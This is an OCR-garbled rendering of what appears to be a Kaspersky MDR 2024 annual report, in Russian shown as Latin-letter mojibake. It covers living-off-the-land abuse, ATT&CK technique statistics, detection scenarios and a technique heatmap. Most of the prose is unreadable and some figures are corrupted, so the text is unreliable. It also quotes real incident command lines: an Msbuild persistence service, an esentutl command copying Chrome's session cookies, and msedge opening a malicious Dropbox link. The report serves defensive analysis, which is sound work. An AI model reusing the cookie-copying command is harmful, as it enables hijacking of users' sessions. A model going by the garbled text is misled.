oTueT 3a 2023 rof Mshta Analyzing Deceptive Tactics with Fake CAPTCHA


https://attack.mitre.org/techniques/T1218/005/
https://securelist.ru/kaspersky-mdr-report-2023/109420/
https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha
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Msbuild.exe ncnonbsoBancg ons KOMAUNSLMN N CKPbITHOrO BbIMONHEHNS NMONE3HON Harpy3Ku, Kak OnmcaHo
B T1127.001: MSBuild?'. Hmxe nokasaH TUMMYHbIV NpUMepP, AEMOHCTPUPYIOLWNIA 3aKpeneHne Yepes
cucTemMHyto cnyxby (T1543.003: Cny»x6bl Windows?2).

[ PrcyHok 2 ] Msbuild.exe ucnonbayetcs ang 3anycka yepes cny>xoy Windows

Registry key: HKLM\SYSTEM\ControlSetOO1\Services\ cbxC

ImagePath (Command): cmd.exe /c start cmd /v:on /c "C:\Windows\Microsoft.NET\frameworké64\v4.0.30319\Msbuild.exe C:\ProgramData\ ZIPp.csproj”

The Esentutl.exe? npegHa3HauYeHHbI ang paboThl ¢ 6a3amu gaHHbIx Microsoft JET, ncnonbsyeTcs ong
KOMMPOBaHNS 1 3arpy3kiu Gaiinos, BKIoYas ansTepHaTUBHbIE MOTOKM AaHHbIX NTFS. Mprmep komarHabl Hxe
AEMOHCTpUpYeT KonposaHue daiina ..\Network\Cookies, cooepallero gaHHble ceaHcoB bpay3aepa,
KOTOPbI MOXET ObITb NCMOMb30BaH 3710y MbILLNEHHNKaMW AN NepexBaTa ay TEHTUGUKaLMM KOMMYHUKALLMIA
C OHMaH-pecypcamu.

( PrcyHok 3 ] 3anyuwieHHbIn 13 1.bat esentutl.exe konnpyetT dain

c:\windows\svcbatch.exe c:\windows\1.bat

L_-> esentutl.exe 1y /vss C:\Users\ \AppData\Local\Google\Chrome\userda~1\profil~1\Network\Cookies /d c:\users\public\

Msedge.exe“ aHasiorm4Ho npegblgaywmm rogam, Hepenko CI)I/IprI/IpyeT B 3aperncTpmnpoBaHHbIX NHUMNOEHTAaX,
YTO YKa3blBae€T Ha 3Ha4nNTE/IbHOE KOJINYECTBO NHUNOEHTOB, CBA3aHHbIX C NMepexogom nonb3oBaTenen

no q)I/ILLII/IHFOBbIM CCblliIKaM Unn nonagaHnem XepTB Ha CKPbITblE 3arpy3Ku. Huxe npmeeneHbl Tunn4Hblie
nPEumMeps.bl 3arnycka, BbiIaBaHHOIo q)I/ILLII/IHFOBbIM BJIEKTPOHHbIM NMMCbMOM W NoakKJito4eHnem K BpegoHOCHOMY

pecypcy.

MonbiTKa NoaKOYEHNS K BpPeAOHOCHOMY ca|7|Ty C ncroJjib3oBaHnem
msedge, 3anyLeHHOro s BpeaoHOCHOIo B/1IOXXKeHUA S/IeKTPOHHOIo
nMcCbma

( PucyHok 4 ]

(PID: 7004) "C:\Program Files (x86)\Microsoft Office\Office16\OUTLOOK.EXE"
L— (PID: 9404) "C:\Program Files (x86)\Adobe\Reader 10.0\Reader\AcroRd32.exe" "C:\Users\ \AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\INUTDF2U\Updated list Unauthorised PP
RA User ID details.pdf"

L—(PID:15216) "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument hxxps://www[.Jdropbox[.Jcom/scl/fi/rO3vub44é3xluyb65whot/PPRA_Letters.zip?rikey=vi19sdakfxmsp4k
cendo8qzgx&e=2&st=d0e86ec1&dl=0

MonbiTKa NogKNOYEHNS K BPEAOHOCHOMY CalTy B pe3ynbTaTte

( PuncyHok 5 ] .
CKpbITOW 3arpy3kKu

hxxps://jobtrue[.Jru/wp-content/themes/genesis/js/select2/js/i18n/ru[.]js?v=1712788044

Category : Malware site

21 T1127.001: 22 T1543.003: 2 MITRE ATT&CK ? LOLBAS Project:
MSBuild Windows Service S0404 esentutl Msedge


https://attack.mitre.org/techniques/T1127/001/
https://attack.mitre.org/software/S0404/
https://attack.mitre.org/techniques/T1543/003/
https://lolbas-project.github.io/lolbas/Binaries/Msedge/
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Knaccundukaumsa nHumaeHTos no MITRE ATT&CK

Vicnonb3yemele B Kaspersky MDR nHaukaTopbl atak (IoA) knaccupunumpoBaHbl o TexHnkam MITRE AT T&CKe.
YTOBbl KOHTPOMMPOBAaTh KauecTBO 06HapyxeHns B MDR, komaHaa VHXeHEepoB No 06HapYXEHWIO OLIEHNBaET
KOHBEPCUIO 1 BK1aA Kaxxaoro IoA, 4To NO3BOMSIET paccunTaTh 3TV NokasaTenu Takxxe 1 ang texHnk MITRE
ATT&CK®. Huxe nepeumcneHbl BOCEMb TEXHMK C Hanboee BbICOKMMI Noka3aTensiMm KOHBepPCUW, a TennoBas
KapTa B 3aKJIIOUNTENBHON YacT OTYeTa OEMOHCTPUPYET BK1ag O6HapY KEHHbIX TEXHVIK. HEBbICOKMIA
MPOLEHT KOHBEPCUM OBBACHAETCS TEM, UTO Ha NPaKTVKe, 3a CYET UCMOSb3YEMbIX MPEBEHTUBHbIX CPEACTB
6e30nacHOCTI, He BCE MOMbITKM peannsaLumm 310y MblLLEHHNKaMI BbIIBJIEHHbBIX TEXHVK MPUBENN K Pa3BUTUIO
aTaku, TpebytoLLlen aanbHenLLen peakLmn.

[ Tabnuua 3 ] TEXHVIKU C HauyuYLIeln KOHBEPCUEN

T1078: icmonb3oBaHue 34.82% [loMeHHble 1 nokasbHbIE YUYETHbIE 3aMMCY YacTO NCMOSb3YOTCS
[EeVCTBATENbHbIX YUETHbIX 3/10yMbILLNEHHVKaMU A9 06X0a PeLLeH 6e30NacHOCTH
e 1 3aKPEMNEHNS B CKOMMPOMETUPOBAHHbIX CCTEMaX. TeXHVIKa

OCOBEHHO MOMyAgPHa B XOPOLLO MOATOTOBEHHbIX LIeNIeBbIX aTakax
N KNOEPYYUEHUSX.

T1098: Manunyngauumu ¢ yquHO|7| 30,30% MpuBUNErMPOBaHHBIE YYETHbBIE 3amUCK U FPYMMbl XOPOLLO
3annchbio KOHTPONMMPYIOTCS, OAHAKO 3M0YMbILLUNEHHUKN HEPEAKO aKTUBUPYIOT
OTKJIKOUYEHHbIE aKKayHTbI /U [OBaBNSOT YNeHOB B rpynbl. Kak
1 B NpeablayLem cnydae AaHHas TEXHVKa aTakyoLMxX HEOTAnYMa
OT NErNTUMHbBIX OENCTBUIN.

T1566.002: DuumMHroBas cchifika 24 50% DULLNHF — Hanbonee NonyngapHas TEXHUKa NonyYeHs
nepBoOHaYanbHoOro goctyna. B 2024 rogy ero nonyasipHOCTb
coxpaHunach Ha ypoBHe 2023 rofa, mpy 3ToM koadbuLmeHT
YCMELUHOCTW aTaK Aaxe yBenmumncs.

T1110.001: Mogbop napong 22.18% XoTd noabop Naposns yeneLHo 06HapyKMBaeTC CETEBbIMM
1 XOCTOBBIMI CEHCOPAaMMU, 3Ta TEXHMKA MO-NPEXHEMY MOMyspHa Kak

B MPOEKTax rNno oueHKe 3allnLLEeHHOCTW, Tak 1 B oealibHblX aTakax.

T1210: icnonb3oBaHne PAONYA [oMbITKN YAaNneHHOro UCMOTHEHVIS KOO OYEHb MOMySOHbI
ySI3BUMOCTEN YaaneHHbIX Cyx6 B MHUMAEHTAaX Kak A5 MOy YeHs nepBOHaYanbHOro AOCTYNa, Tak U AN1s
FOPU30HTaSIbHBIX MEPEMELLEHII MO CKOMMPOMETUPOBAHHO CETU.

T1547.001: ,El,o6aBneH|/|e 1714% Camag nonyngpHas TEXHUKa 3aKPENNEHNS BHE 3aBUCMOCTY

B paspaersibl peecTpa Run nnn OT KPUTUYHOCTU MHUMAEHTA. 30ECh HEPELKO UCMOSb3YIOTCS
CTaHOapTHbIE MexaHn3Mbl OC B COYETaAHUM C MHCTPYMEHTaMu

VIS I Bl el (StartuD) Lotl 25, koTopble 63 AONONMHUTENBHORO KOHTEKCTa TPYOHO OTANYNTL

OT NErUTUMHOW KOHDUIYpaLLN.

T1021: Ucnonb3oBaHue 14,78% BTopoli no nonynsgpHOCTY MEXaHN3M FOPU30OHTasbHbIX MEPEMELLEHNIA,
yOaneHHbIX CepBUCOB MNCNOJb3YEMblil BO BCEX TUMax NHLMOEHTOB, YaCTO B COYETaHNM
¢ TexHviko T1078: icmonb3oBaHme AeCTBUTENbHbBIX YUYETHbBIX 3anmncein.

T1071.002: KoMMyHMKaumm 14,78% B 2024 rony aTa TEXHWKa BNepBble NOsBMAACk B CrCKe Ton-8
C NOMOLLbIO MPOTOKOSOB C BbICOKOV KoHBepcuein. FTP 1 SMB 06bI4HO NCMOMb3YyoTCS

< B IETUTUMHBIX LIENSX, YTO AeNaeT UX NpuBAeKaTeNbHbIMU 19 COKPLITYSA
nepenaqn ¢aM”OB BPEAOHOCHbIX AENCTBUIN.

% |T-sHuumknonenuns «Kacnepckoroy: Lotl-aTaka (aTaka Living off the Land)


https://encyclopedia.kaspersky.ru/glossary/lotl-living-off-the-land/
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Hanbonee nonynsapHbie cLueHapun obHapy>XKeHUs!

3a 2024 rog B MDR cpaboTtanu 803 yHUKanbHbIX cueHapus obHapy>xeHus (IoA) ¢ HeHyIEBOI KOHBEPCUEN.
B aTom pasgene mMbl pacCcMOTpUM Hanbosee YacTo cpabaTbiBalowme I0A, KOTOpble B COBOKYMHOCTU

COCTaBnAOT 6onee 37% BCEX UCTUHHO NONOXUTENbHBLIX CpabaTbiBaHWIA, @ TakXXe NpoaHanM3npyem nx Bknag,
B 3aBMICVIMOCTW OT CEPbESHOCTU NHLNOEHTOB .

B Haluem otueTe 3a 2023 rog, Mbl pasaensnv loA Ha oBe 0CHOBHbIE Fpynbl: Ha 6a3e cobbiTuin OC 1 Ha 6ase
TenemeTpun XDR. B 2024 roay nogasnstoLlee 60MbLUIMHCTBO CKOHBEPTUPOBABLUMXCS B UHLIMOEHTHI MPaBus
Bb1/I1 OCHOBaHbI MCKIOUNTENBHO Ha TenemeTpun XDR, a cLieHapun obHapyxeHuns Ha 6ase cobbiTuii OC
MCMOIb30BaNNCh B OCHOBHOM KaK AOMOMHNTENbHbIA KOHTEKCT, @ HE Kak OCHOBHOW METO4, O6HapYXeHUS.

( TaGnuua 4 ] TexHNKM ¢ HannyJLein KOHBEPCUEN

CueHapuin
oBHapy>XeHus

KommeHTapuii

Tpebyemas TenemeTpus
1 oboratleHmne

Bknap,

Mo KPUTNYHOCTN

Hamn kpuTrdeckn
BaXXHbIX Pasaesos
peecTpa

AKTVBHOCTb OBHapy>X1BaeTCcs
no tenemetpumn EDR,

a Takxxe no sepankTam EPP

Ha MOA03PUTENBHYIO aKTVBHOCTb

- [JocTyn Kk peecTpy
- EPP BEpANKTbI Ha NOAO3PUTENBHYIO

aKTBHOCTb

Bbicokas: 26,921%
CpepHgs: 1,21%
Hunskas: 1,59%

BeponkT EPP B namsatu

CpabaTbiBaHue EPP Ha cUCTeMHbIN
npoLEeCC 1V Ha 06nacTb NaMATH

- EPP BepankTbI

Bbicokas: 17,04%
CpenHgas: 2,45%
Hwnskag: 0,66%

CuncTeMHbIV MpoLiecc
3anyLUeH kak cnyxo6a

Bblna cosnaHa 1nv BuinosHeHa
nogospuTensHas cnyxo6a Windows,
conepaLlas Mpou3BOSbHbIN KOZ,

- 3anucu aBTo3anycka
- CobbITNS OnepauioHHON CUCTEMBI
- Banyck npouecca

Bbicokas: 16,88%
CpepnHds: 0,58%
Hunskag: 0,12%

[TonbiTka focTyna
K BPEOOHOCHOMY XOCTY

MonbiTka AOCTYMa K XOCTY C MIOXOM
penyTaumen

- EPP BepankThl

- HTTP coeanHeHne

- CeTeBOe coeanHeHne

- DNS 3anmpoc

- PenyTaumns ynaneHHoro xocrta

Bbicokas: 12,26%
CpenHas: 796%
Hwnskag: 13,21%

[MNopo3puTenbHbIv Aamn
CUCTEMHOW NamMaT

[amn cucTemMHon namaTv Ang
LOCTYnMa K YYeTHbIM AaHHbIM
(HampvMep, AaMn NamMsTV mpoLecca
LSASS2)

- EPP BepOnkTbl
- HocTtynk npoueccy LSASS
- Jlloboe cobbITue TENEMETPUN,

cofepxallee KoMaHaHY CTPOKY

Bbicokas: 11,.94%
CpenHas: 0,99%
Huskad: 1,24%

3anyck obbekTa
C NIOXOW penyTaLumenz’

To6ol cLeHapwuii 3anycka dalna,
KOMaHAHOrO CLeHapus, OTKPbITKS
ODUCHOro OOKYMEHTA C MIOXOW
penyTauuen

- Jlloboe cobbiTue TenemMeTpuu,

copepxallee rpouecc

- PenyTauusa daina / cueHapus /

odUCHOro AOKyMEHTA

Bbicokas: 10,83%
CpenHgas: 6,51%
Hwnskas: 1,62%

[lonb3oBaTenb
nobasneH

B MPUYBUIETPOBaHHYO
OOMEHHYIO rpynny

BasupyeTcs Ha cobbiTusx OC.
3MeHNNoCh YNEHCTBO
B KOHTPONMPYEMOW rpynne

% MITRE ATT&CK. T1003.001 OS Credential Dumping: LSASS Memory

- CoBbITUS MaHUAYASLMN YYETHBIMA

3anucamm OC

27 Kaspersky Online File Reputation

Bbicokas: 8,76%
CpenHas: 7,05%
Hwnskag: 0,87%


https://www.kaspersky.ru/file-reputation
https://attack.mitre.org/techniques/T1003/001/
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CueHapuin
oBHapy>XeHus

KommeHTapuni

Tpebyemas TenemeTpus
1 oboralleHne

Bknag,
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Mo KPUTNYHOCTWN

HeobbluHag ycTaHoBKa

BasupyeTtcs Ha cobbiTusx OC.

- CobbITue MHCTanNgUMm cnyxeésl OC

Bbicokad: 6,69%

CINy>XObl YCTaHOBKa Ciy>K6bl, ABNAOLLENCS CpenHss: 0,23%
NPY3HaKOM NCMOIb30BaHNS _ o
VWHCTPYMEHTa aTaku Hukast: 0.09%
YoaneHHo [MpoLiecc 6bin BbIMOMHEH M3-MOL, - 3anyck npoLecca Beicokad: 5,57%
BbINMOMHAEMBbIIA YYETHOW 3aM1Cy C CETEBBIM TUMOM . Barpyaka DLL Cpennsis: 017%
npouecc BXxoga

Huskas: 0,17%

B komaHgHom
CTpOKe OBHapy>keH
BpeaoHOCHbIN URL

B nto6om none cobbiTns (Havnbonee
pPacnpOCTPaHEHHbIN CLEeHapW —
KOMaHAHas CTPOKa, YTO OB BACHIET
HasBaHVe Npaswa) Mtoboro
COBBITVS TENEMETPUN Bbif
obHapy»eH URL, koTopbIli 3aTeM
©bIN NPOaHaNM3POBaH C MOMOLLbIO
BCEX AOCTYMHbIX Peny TaLMOHHbIX 6a3

- Jlloboe cobbITue TENemMeTpum,
cofepxallee URL

- URL penyTauus

Bbicokas: 4,94%
CpenHgas: 5,24%
Huakas: 1,47%

3anyck C MOMOLLIbIO

YnaneHHblli 3anyck

- Jloboe cobbiTre TeENnemeTpun,

Bbicokast: 4,62%

impacketze C CMOMb30BaHNEM VIHCTPYMEHTOB cogepkalllee KOMaHAHY CTPOKY Cpepnnss: 0,13%
u3 cocTaea impacket - EPP BepaviKTbl Ha MOAO3PUTENBHYIO
aKTUBHOCTb
OBHapy>xeHue, Cnincok penesaHTHbIX APT - EPP BepankThl Bbicokad: 3,50%

cBg3aHHoe ¢ APT

BepankTos EPP

CpenHas: 2,21%
Huskas: 1,15%

OBHapy>xeHue
c nomolLLbto IDS

CeTteBad IDS B cocTaBe KATA

- BepaukTbl ceTeson IDS

Bbicokad: 1,11%
CpenHgas: 15,70%
Huakas: 1,01%

OBHapy>xeHue
C MoMolLLbIo SB

2 Github. Impacket

BepaukT Sandbox B cocTaBe KATA.
[ng obHapy>XeHHOro o6bekTa
OTCYTCTBYET BepankT EPP

- SBBepaukT
- EPP BepaukThl

CpenHgas: 18,25%
Hwnakas: 0,66%


https://github.com/fortra/impacket
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Tennosag kapTa TexHuk 1 TakTnuk MITRE ATT&CK

TAOOO!:
[TlepBOHau.
OOCTYn

TAOOO2:
BbinonHeHwne

TAOO0O3:
3akpenneHne

TAOOO04:
[NoBblLEHE
npvBUNErnin

TAOOQOO5:
O6xopm, 3aLnThl

TAOOOé: locTyn

KYy4YeTHbIM
3arnnmcam

TAOOO7:
Cbop
nHdopmMaumn

T1566: Phishin, T1204: User Execution T1098.: Accqunt
Manipulation

T1190: Exploit Public-
Facing Application

T189: Drive-by
Compromise

T1091: Replication
Through Removable
Media

T133: External Remote
Services

T1195: Supply Chain
Compromise

T1200: Hardware
Additions

T1659: Content
Injection

6-1%

T1059: Command and
Scripting Interpreter

T1569: System Services

T1053: Scheduled
Task / Job

T1047: Windows
Management
Instrumentation

T1559: Inter-Process
Communication

T1203: Exploitation for
Client Execution

T1129: Shared Modules

T106: Native API

T1072: Software
Deployment Tools

@ 1-15%

T1547: Boot or Logon
Autostart Execution

T1505: Server Software
Component

T1546: Event Triggered
Execution

T1574: Hijack Execution
Flow

T1543: Create or Modify
System Process

T1136: Create Account

T1556: Modify
Authentication Process

T1176: Browser
Extensions

T1197:BITS Jobs

T1137: Office
Application Startup

T1037: Boot or Logon
Initialization Scripts

T1205: Traffic Signaling

T1554: Compromise
Host Software Binary

T1542: Pre-OS Boot

® 15-20%

T1055: Process
Injection

T1548: Abuse Elevation
Control Mechanism

T1068: Exploitation for
Privilege Escalation

T1484: Domain
or Tenant Policy
Modification

TN34: Access Token
Manipulation

T1036: Masquerading

T1027: Obfuscated Files

or Information

T1562: Impair Defenses

T1218: System Binary
Proxy Execution

TM2: Modify Registry

T1564: Hide Artifacts

T1553: Subvert Trust
Controls

T1620: Reflective Code
Loading

T1207: Rogue Domain
Controller

T1070: Indicator
Removal

T1014: Rootkit

T1550: Use Alternate
Authentication Material

T1140: Deobfuscate /
Decode Files or
Information

T1211: Exploitation for
Defense Evasion

T1216: System Script
Proxy Execution

T1497: Virtualization /
Sandbox Evasion

T1222: File and
Directory Permissions
Modification

T1600: Weaken
Encryption

T1006: Direct Volume
Access

TN27: Trusted
Developer Utilities
Proxy Execution

T1220: XSL Script
Processing

® 20%

S Credential
umping

T1M10: Brut

Password Stores

T1552: Unsecured
Credentials

T1558: Steal or Forge
Kerberos Tickets

T1649: Steal or Forge
Authentication
Certificates

T1056: Input Capture

T1557: Adversary-in-

the-Middle

T1212: Exploitation for
Credential Access

T1040: Network
Sniffing

T1606: Forge Web
Credentials

TN87: Forced
Authentication

T1539: Steal Web
Session Cookie

T1087: Account
Discovery

T1046: Network Service
Discovery

T1555: Credentials from  T1033: System Owner /

User Discovery

T1012: Query Registry

T1069: Permission
Groups Discovery

T1049: System Network
Connections Discovery

T1016: System
Network Configuration
Discovery

T1482: Domain Trust
Discovery

T1018: Remote System
Discovery

T1082: System
Information Discovery

T1007: System Service
Discovery

T1615: Group Policy
Discovery

T1010: Application
Window Discovery

T1057: Process
Discovery

T1083: File and
Directory Discovery

T1135: Network Share
Discovery

T1217: Browser
Information Discovery

T1124: System Time
Discovery

T1518: Software
Discovery
T1654: Log Enumeration
T1120: Peripheral Device
Discovery

T1201: Password Policy
Discovery
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TAOO0O08: TAO009: TAOO10: TAOO11: TAOO04O0: TAO042: TAO043:
[OpPN30HT. 3axeaTt AKcPunbT- YnpasneHve Ywep6 [MogroToBka Paseegka
rnepemMeLleHns OaHHbIX pauus 1 KOHTPOJTb K aTake
- T1560: Archive T1567: Exfiltration - T1565: Data T1588: Obtain T1595: Active
Collected Data Over Web Service Manipulation Ci

21:Re
Services

T1570: Lateral Tool
Transfer

T1534: Internal
Spearphishing

T1563: Remote Service
Session Hijacking

T1080: Taint Shared
Content

6-1%

T1005: Data from
Local System

T114: Email Collection

T1M9: Automated
Collection

T1M3: Screen
Capture

T115: Clipboard
Data

T1125: Video Capture

T1025: Data from
Removable Media

T1039: Data from
Network Shared Drive

T1074: Data Staged

T1530: Data from Cloud
Storage

@ 1-15%

T1041: Exfiltration
Over C2 Channel

T1048: Exfiltration Over
Alternative Protocol

T1011: Exfiltration Over
Other Network Medium

T1020: Automated
Exfiltration

T1029: Scheduled
Transfer

T1030: Data Transfer
Size Limits

T1052: Exfiltration Over
Physical Medium

® 15-20%

Resolution

T1572: Protocol
Tunneling

TNO05: Ingress Tool
Transfer

T1095: Non-Application
Layer Protocol

T1090: Proxy

T1219: Remote Access
Software

T1092: Communication
Through Removable
Media

T102: Web Service

T1573: Encrypted
Channel

T1571: Non-Standard
Port

T1001: Data
Obfuscation

® 20%

T1561: Disk Wipe

T1496: Resource
Hijacking

T1486: Data Encrypted
for Impact

T1485: Data
Destruction

T1489: Service Stop

T1531: Account Access
Removal

T1499: Endpoint Denial
of Service

T1498: Network Denial
of Service

T1490: Inhibit System
Recovery

T1529: System
Shutdown / Reboot

T1587: Develop
Capabilities

T1608: Stage
Capabilities

T1583: Acquire

Infrastructure

T1584: Comprom
Infrastructure

T1586: Compromi

Accounts

Scanning

T1598: Phishing
for Information

T1590: Gather Victim
Network Information

T1592: Gather Victim
Host Information

ise

Ise



XI. O komnaHun

5000+

KBannpuumposBaHHbIX
cneunanncToB paboTatoT
B KOMMaHun

50%

CoTpyAHVKOB —
370 RnD-cneumanncTbl

5

YHUKaNbHbIX LEHTPOB
3KCMepTN3b

467 000

BpenoHOCHbBIX O6BbEKTOB
Mbl OBHaPY>K1BaAEM Kax Ol
OEHb

200 000

KomnaHwmii no Bcemy
MUPY Mbl OBeperaem
OT KMBepyrpo3

4.9 mnpa
Knbepatak 66110

OCTaHOBJ1IEHO HaLUMW
peLleHnaMn

www.kaspersky.ru

© 2025 AQO «JlaBopaTopus Kacnepckoro.
3aperncTprpoBaHHbIe TOBapHbIE 3HaKVM 1 3HaKM
OGC}'IY)KI/IBaHVIﬂ ABNAOTCA COBCTBEHHOCTbIO

VX NpaBooGnagaTene.

:
O komnaHunnm

«JlabopaTopus Kacnepckoro» — MexayHapoaHas KoMmaHus,
paboTatoLas B chepe MHGOPMaLMOHHOM 6e30MacHOCTM

¢ 1997 roga. y6okune aKCNepPTHbIE 3HAHWUS 1 MHOTONIETHWIA OMNbIT
KOMMaHWM NexaT B OCHOBE 3aLUMUTHBIX PELLEHUIA 1 CEPBNCOB HOBOIO
NOKONeHNs, obecneyurBatoLLx 6€30MacHOCTb BU3HECa, KPUTNYECKI
BaXXHbIX MHPPACTPYKTYpP, FOCYAAPCTBEHHbIX OPraHOB 1 PAA0BbIX
nonb3oBaTenein. ObwmpHoe nopTdonno «SlabopaTtopun Kacnepckoros
BKJIIOYAET B Cebs NepenoBble NPOAYK Tl A5 3aLUUTbl KOHEYHbBIX
YCTPOWCTB, a Tak>Xe psf, CneumansanpoBaHHbIX PELLEHWN 1 CEPBLCOB
AN151 6OPb6bI CO CNOXHBIMU Y MOCTOSIHHO 3BOJTIOLMOHNPYOLLMIA
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MoppobHee

MexayHapogHoe npusHaHue

«JlabopaTopuns Kacnepckoro» akTMBHO YYaCTBYET B HE3aBUCUMbIX
TECTMPOBAHNSX 1 B3aMOAENCTBYET C BEAYLLUVMU aHANUTNYECKNMMN
areHTcTBamu. Halum TeXHONOr i NPY3HaHbl BO BCEM MUPE

1 YOOCTOEHbI MHOrOUNCNEHHbIX MEXAYHAPOOHbIX Harpaa v NpusHaHn.
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#akTnBnpymnbynyuiee
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